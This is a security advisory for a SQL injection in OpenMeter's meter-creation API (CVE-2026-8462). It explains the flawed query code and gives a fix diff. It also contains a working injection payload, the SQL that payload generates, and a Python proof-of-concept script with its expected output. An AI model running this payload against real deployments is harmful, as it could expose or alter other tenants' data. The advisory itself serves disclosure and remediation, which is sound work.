Summary
OpenMeter: SQL injection through meter creation
An authenticated tenant can inject arbitrary SQL through the valueProperty or groupBy fields of POST /api/v1/meters. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data.
Details
openmeter/streaming/clickhouse/utils_query.go:15 builds a ClickHouse SELECT by interpolating user input with fmt.Sprintf:
sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))
sqlbuilder.Escape() (go-sqlbuilder v1.40.2) only replaces $ → $$ to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. sb.Build() always returns an empty args slice, the query is never parameterized.
The payload must be prefixed with a valid JSONPath expression (e.g. $.foo) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which ValidateJSONPath silently treats as "invalid JSONPath" and returns early, before the injected branch can execute.
Working payload:
$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --
Generated SQL:
SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --'
Fix, replace fmt.Sprintf string interpolation with sb.Var(), which appends the value to the builder's args list and emits a ? placeholder:
-sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))
+sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath)))
PoC
poc.py:
import json, time, uuid
from urllib.request import Request, urlopen
SLEEP = 3
API = "http://localhost:48888"
PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --"
def post_meter(value_property):
body = json.dumps({
"slug": f"poc_{uuid.uuid4().hex[:8]}",
"eventType": "x",
"aggregation": "SUM",
"valueProperty": value_property,
}).encode()
req = Request(f"{API}/api/v1/meters", data=body,
headers={"Content-Type": "application/json"}, method="POST")
t0 = time.monotonic()
with urlopen(req, timeout=SLEEP + 10) as r:
return r.status, time.monotonic() - t0
_, baseline = post_meter("$.tokens")
status, elapsed = post_meter(PAYLOAD)
print(f"baseline : {baseline:.3f}s")
print(f"injected : {elapsed:.3f}s (HTTP {status})")
print(f"result : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}")
docker compose up -d
until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done
python3 poc.py
Expected output:
baseline : 0.036s
injected : 3.031s (HTTP 200)
result : sleep(3) CONFIRMED
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research
Impact
SQL injection via POST /api/v1/meters (valueProperty or groupBy). Requires a valid tenant API key; no other preconditions. The shared openmeter.om_events table has no row-level security, a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible.
Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-8462? CVE-2026-8462 is a medium-severity SQL injection vulnerability in github.com/openmeterio/openmeter (go), affecting versions < 1.0.0-beta.228. It is fixed in 1.0.0-beta.228. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
- Which versions of github.com/openmeterio/openmeter are affected by CVE-2026-8462? github.com/openmeterio/openmeter (go) versions < 1.0.0-beta.228 is affected.
- Is there a fix for CVE-2026-8462? Yes. CVE-2026-8462 is fixed in 1.0.0-beta.228. Upgrade to this version or later.
- Is CVE-2026-8462 exploitable, and should I be worried? Whether CVE-2026-8462 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-8462 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-8462? Upgrade
github.com/openmeterio/openmeterto 1.0.0-beta.228 or later.